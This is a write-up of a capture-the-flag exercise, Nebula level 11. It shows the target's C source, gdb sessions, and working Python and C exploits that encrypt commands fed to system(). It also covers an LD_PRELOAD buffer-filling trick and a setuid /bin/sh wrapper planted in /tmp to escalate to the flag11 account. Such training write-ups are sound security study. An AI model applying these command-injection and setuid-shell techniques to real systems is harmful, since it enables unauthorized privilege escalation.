nebula11

Nebula level11 revisited

After reading this great post by Dan Rosenberg, I learned about using LD_PRELOAD to pre-populate uninitializaed variables with arbitrary contents. The details are explained in the article, I just wanted to show how it can be used to solve challange 11.

Ok, so we are going to try to fill the uninitialized buffer used in the process function with a string containing the commands to be be run:

[email protected]:/home/flag11$ export LD_PRELOAD=`python -c 'print("\x0a/bin/getflag"*80)'`  

Now we can go and execute our binary and see if it works:

[email protected]:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11  
ERROR: ld.so: object '  
/bin/getflag
/bin/getflag
...
...
/bin/getflag
/bin/getflag
/bin/getflag' from LD_PRELOAD cannot be preloaded: ignored.
sh: $'\v': command not found  
You have successfully executed getflag on a target account  
You have successfully executed getflag on a target account  
...
...
You have successfully executed getflag on a target account  
You have successfully executed getflag on a target account  
sh: line 75: /bin=q�: No such file or directory  

The first error is when trying to link our fake library, then there is an error:

sh: $'\v': command not found  

Followed by a bunch of successful getflag executions and then another error:

sh: line 75: /bin=q�: No such file or directory  

Lets see what was the string passed to system():

(gdb) b main
Breakpoint 1 at 0x8048956  
(gdb) b process
Breakpoint 2 at 0x80488fd  
(gdb) run
Starting program: /home/flag11/flag11  
.. rubish ..
Breakpoint 1, 0x08048956 in main ()  
(gdb) c
Continuing.  
Content-Length: 1


Breakpoint 2, 0x080488fd in process ()  
(gdb) disas process
Dump of assembler code for function process:  
   0x080488f7 <+0>:    push   %ebp
   0x080488f8 <+1>:    mov    %esp,%ebp
   0x080488fa <+3>:    sub    $0x28,%esp
=> 0x080488fd <+6>:    mov    0xc(%ebp),%eax
   0x08048900 <+9>:    and    $0xff,%eax
   0x08048905 <+14>:    mov    %eax,-0x10(%ebp)
   0x08048908 <+17>:    movl   $0x0,-0xc(%ebp)
   0x0804890f <+24>:    jmp    0x804893c <process+69>
   0x08048911 <+26>:    mov    -0xc(%ebp),%eax
   0x08048914 <+29>:    add    0x8(%ebp),%eax
   0x08048917 <+32>:    mov    -0xc(%ebp),%edx
   0x0804891a <+35>:    add    0x8(%ebp),%edx
   0x0804891d <+38>:    movzbl (%edx),%edx
   0x08048920 <+41>:    mov    %edx,%ecx
   0x08048922 <+43>:    mov    -0x10(%ebp),%edx
   0x08048925 <+46>:    xor    %ecx,%edx
   0x08048927 <+48>:    mov    %dl,(%eax)
   0x08048929 <+50>:    mov    -0xc(%ebp),%eax
   0x0804892c <+53>:    add    0x8(%ebp),%eax
   0x0804892f <+56>:    movzbl (%eax),%eax
   0x08048932 <+59>:    movsbl %al,%eax
   0x08048935 <+62>:    sub    %eax,-0x10(%ebp)
   0x08048938 <+65>:    addl   $0x1,-0xc(%ebp)
   0x0804893c <+69>:    mov    -0xc(%ebp),%eax
   0x0804893f <+72>:    cmp    0xc(%ebp),%eax
   0x08048942 <+75>:    jl     0x8048911 <process+26>
   0x08048944 <+77>:    mov    0x8(%ebp),%eax
   0x08048947 <+80>:    mov    %eax,(%esp)
   0x0804894a <+83>:    call   0x80485f0 <[email protected]>
   0x0804894f <+88>:    leave
   0x08048950 <+89>:    ret
End of assembler dump.  
(gdb) b *process + 83
Breakpoint 3 at 0x804894a  
(gdb) c
Continuing.

Breakpoint 3, 0x0804894a in process ()  
(gdb) x/s $eax
0xbf927dfc:     "\vflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getflag\n\n/bin/getfla"...  

Ok, so there we can see how buffer was initialized and why we got the first command error when running \vflag and why we got so many getflag executions thanks to using the new line character %x0a

Nebula level11 write-up

In Level11 we are given the following code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)  
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
    'A' + (random() % 26), '0' + (random() % 10),
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)  
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)  
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }
}

Analyzing the code, there are two different branches leading to the process() funcion call that eventually leads to the system() function call. This offers us two different ways to exploit this program.

The first one is when the length specified in the Content-Length header is greater than 1024. In order to exploit this vulnerable path, we will need to provide the applciation with a valid header specifying a content length bigger or equal to 1024. We will fix the length to 1024 and analyze what we need to put in the content body to execute our arbitrary commands.

If content length is bigger or equal to 1024, the program will open a random file descriptor and copy the contents of the content body to that file. Then, the contents of the file are read into a memory segment allocated in the process space. The last part of the application (process()) will decrypt the content body and use the decrypted content as a command to be run by system().

All we need to do is encrypt the command we want to run followed by a null byte and fill the rest of the 1024 block with any junk.

The encryption is quite simple, it looks like a Stream cipher where we encrypt a set of blocks (in this case, bytes) and we use the encrypted version of a block as the key to encrypt the following block.

unsigned int key;  
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {  
  buffer[i] ^= key;
  key -= buffer[i];
}

The value used as the content-length is used as the initial encryption key but it is anded with 0xff so we will only use the least significant byte. Then the cipher enters a loop where it decrypts one byte a time using the new key for every new block where the new key is calculated as the previous key - previous decrypted byte

We can code a python exploit to encrypt the getflag command and craft the packet to be sent to the flag11 program:

#!/usr/bin/env python

command = "getflag\x00"  
length = 1024  
key = length & 0xff

encrypted = ""  
for i in range(len(command)):  
     enc = (ord(command[i]) ^ key) & 0xff; # unsigned int
     encrypted += chr(enc)
     key = (key - ord(command[i])) & 0xff # unsigned int

print "Content-Length: " + str(length) + "\n" + encrypted + "A"*(length - len(encrypted))  

Before trying to exploit it, lets define a new TEMP environment variable that the program will look for creating the random file:

export TEMP=/tmp  

Its time to exploit the flag11 program:

[email protected]:~$ python exploit.py | /home/flag11/flag11  
blue = 1024, length = 1024, pink = 1024  
You have successfully executed getflag on a target account  

A c version:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void process(char *buffer, int length) {  
  unsigned int key;
  int i;

  key = length & 0xff;
  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i] ^ key;
  }
}

#define COMMAND "getflag"

int main(int argc, char *argv[]) {  
  char buffer[1024];

  strncpy(buffer, COMMAND, 1024);
  process(buffer, 1024);
  puts("Content-Length: 1024");
  fwrite(buffer, 1, 1024, stdout);
  return 0;
}

If we want to get a shell we can use the following setuid shell wrapper:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {

  uid_t euid = geteuid();
  setresuid(euid, euid, euid);
  system("/bin/sh");
}

Now, modify the python exploit to execute the following command:

command = "gcc -o /tmp/shell /tmp/shell.c; chmod +s /tmp/shell\x00"  

Run the exploit and look for our setuid shell on /tmp:

[email protected]:~$ python exploit.py | /home/flag11/flag11  
blue = 1024, length = 1024, pink = 1024  
[email protected]:~$ ls -la /tmp  
total 28  
drwxrwxrwt  4 root    root    4096 Nov 24 11:50 .  
drwxr-xr-x 22 root    root    4096 Dec  6  2011 ..  
drwxrwxrwt  2 root    root    4096 Nov 23 21:10 VMwareDnD  
-rwsrwsr-x  1 flag11  level11 7241 Nov 24 11:50 shell
-rw-rw-r--  1 level11 level11  180 Nov 24 11:48 shell.c
drwx------  2 root    root    4096 Nov 23 21:10 vmware-root  

Run the shell:

[email protected]:~$ /tmp/shell  
sh-4.2$ id  
uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11)  
sh-4.2$ getflag  
You have successfully executed getflag on a target account  

Voila!! but we also mentioned that there was a second branch leading to the command execution. If content length is smaller than 1024, then fread will read one block of "length" bytes and return the value of blocks read, that will always be 1. So if we want to avoid the err call, we need to set the length to 1. The problem is that if length is 1 our exploiting proabibilities decrease :(
We can create a bash script named with only one letter like "e":

[email protected]:~$ cat e  
#!/bin/bash
getflag  

Now we will create a modified version of our exploit for content-length 1:

#!/usr/bin/env python

command = "e"  
length = 1  
key = length & 0xff

encrypted = ""  
for i in range(len(command)):  
        enc = (ord(command[i]) ^ key) & 0xff; # unsigned int
        encrypted += chr(enc)
        key = (key - ord(command[i])) & 0xff # unsigned int

print "Content-Length: " + str(length) + "\n" + encrypted + "A"*(length - len(encrypted))  

Our e script will be encrypted to d so that flag11 will decrypt it back to e. The problem is that we dont have room for the null byte to delimit the command to be executed so we depend on the our luck to get a 00 in the right place:

[email protected]:~$ python exploit1.py | /home/flag11/flag11  
sh: $'e\020Z': command not found  
[email protected]:~$ python exploit1.py | /home/flag11/flag11  
sh: $'eP\357': command not found  
[email protected]:~$ python exploit1.py | /home/flag11/flag11  
sh: $'e0\247': command not found  
[email protected]:~$ python exploit1.py | /home/flag11/flag11  
getflag is executing on a non-flag account, this doesn't count